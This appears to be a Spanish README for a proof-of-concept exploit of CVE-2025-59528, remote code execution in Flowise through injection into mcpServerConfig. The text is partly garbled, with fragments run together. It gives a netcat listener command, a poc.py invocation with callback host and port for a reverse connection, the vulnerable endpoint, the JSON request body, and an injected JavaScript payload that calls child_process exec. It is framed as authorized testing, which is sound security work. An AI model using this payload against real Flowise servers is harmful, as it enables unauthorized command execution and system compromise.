
Prueba de concepto para CVE-2025-59528, que demuestra la ejecución remota de código autenticada en Flowise mediante la inyección de mcpServerConfig, con pasos reproducibles para pruebas autorizadas.
PoC mínimo centrado en la validación técnica de la vulnerabilidad en un entorno autorizado.
nc -lvn 4444).Inicie el listener primero:
nc -lvn 4444
python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api YOUR_VALID_API_KEY
Reemplace los valores con la configuración de su entorno autorizado.
3.0.5Ejecución remota de código (RCE)POST /api/v1/node-load-method/customMCPEl problema proviene de cómo se procesa inputs.mcpServerConfig: este valor se interpreta de una manera que permite la ejecución de JavaScript en el lado del servidor. En la práctica, un atacante autenticado puede inyectar una expresión que llama a child_process y ejecuta un comando del sistema operativo.
El flujo de explotación es:
customMCP.mcpServerConfig.process.mainModule.require('child_process').exec/execSync).Si se acepta, el servidor ejecuta el comando en su contexto de sistema.
poc.py)El script toma cuatro argumentos:
-d/--domain: dominio objetivo-lh/--host: IP de callback-lp/--port: puerto de callback-A/--api: token de API BearerLuego:
http://<domain>/api/v1/node-load-method/customMCPAuthorization: Bearer <token>({
x: (function () {
const cp = process.mainModule.require("child_process");
cp.exec("<commande>");
return 1;
})(),
});
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "<expresión JS inyectada>"
}
}
En comparación con el PoC de EDB (que realiza inicio de sesión con correo/contraseña, usa encabezados similares a los de un navegador y ejecuta un --cmd de formato libre), este script es mejor para la validación pura del PoC:
mcpServerConfig y ejecución en el lado del servidor.En resumen: el script de EDB es una demo ofensiva más genérica, mientras que este PoC está más orientado a la reproducibilidad técnica.
https ni manejo de certificados.--cmd).Pruebe únicamente en sistemas que le pertenezcan o donde tenga autorización explícita.